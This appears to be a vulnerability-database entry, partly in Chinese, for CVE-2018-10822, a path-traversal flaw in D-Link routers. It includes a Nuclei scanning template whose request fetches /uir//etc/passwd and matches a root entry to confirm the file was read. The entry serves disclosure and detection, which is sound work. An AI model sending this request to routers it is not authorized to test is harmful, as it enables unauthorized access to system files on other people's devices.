CVE-2018-10822: D-Link Routers - Local File Inclusion

日期: 2025-08-01 | 影响软件: D-Link Routers | POC: 已公开

漏洞描述

D-Link routers DWR-116 through 1.06, DIR-140L through 1.02, DIR-640L through 1.02,DWR-512 through 2.02,DWR-712 through 2.02,DWR-912 through 2.02, DWR-921 through 2.02, DWR-111 through 1.01, and probably others with the same type of firmware allows remote attackers to read arbitrary files via a /.. or // after "GET /uir" in an HTTP request to the web interface.

PoC代码[已公开]

id: CVE-2018-10822

info:
  name: D-Link Routers - Local File Inclusion
  author: daffainfo
  severity: high
  description: D-Link routers DWR-116 through 1.06, DIR-140L through 1.02, DIR-640L through 1.02,DWR-512 through 2.02,DWR-712 through 2.02,DWR-912 through 2.02, DWR-921 through 2.02, DWR-111 through 1.01, and probably others with the same type of firmware allows remote attackers to read arbitrary files via a /.. or // after "GET /uir" in an HTTP request to the web interface.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the target system
  remediation: |
    Apply the latest firmware update provided by D-Link to fix the vulnerability
  reference:
    - https://www.exploit-db.com/exploits/45678
    - http://sploit.tech/2018/10/12/D-Link.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-10822
    - https://seclists.org/fulldisclosure/2018/Oct/36
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-10822
    cwe-id: CWE-22
    epss-score: 0.79024
    epss-percentile: 0.99032
    cpe: cpe:2.3:o:dlink:dwr-116_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dlink
    product: dwr-116_firmware
  tags: cve2018,cve,dlink,edb,seclists,lfi,router

http:
  - method: GET
    path:
      - "{{BaseURL}}/uir//etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d161ef69127be85d9e8174d8a7df7cb4992583e8457a95aec329b606dbe2962f0220589cca813496246787095e084a8d31a0b459c8b0779454d5dc84f04fc899bf4a:922c64590222798bb761d5b6d8e72950

相关漏洞推荐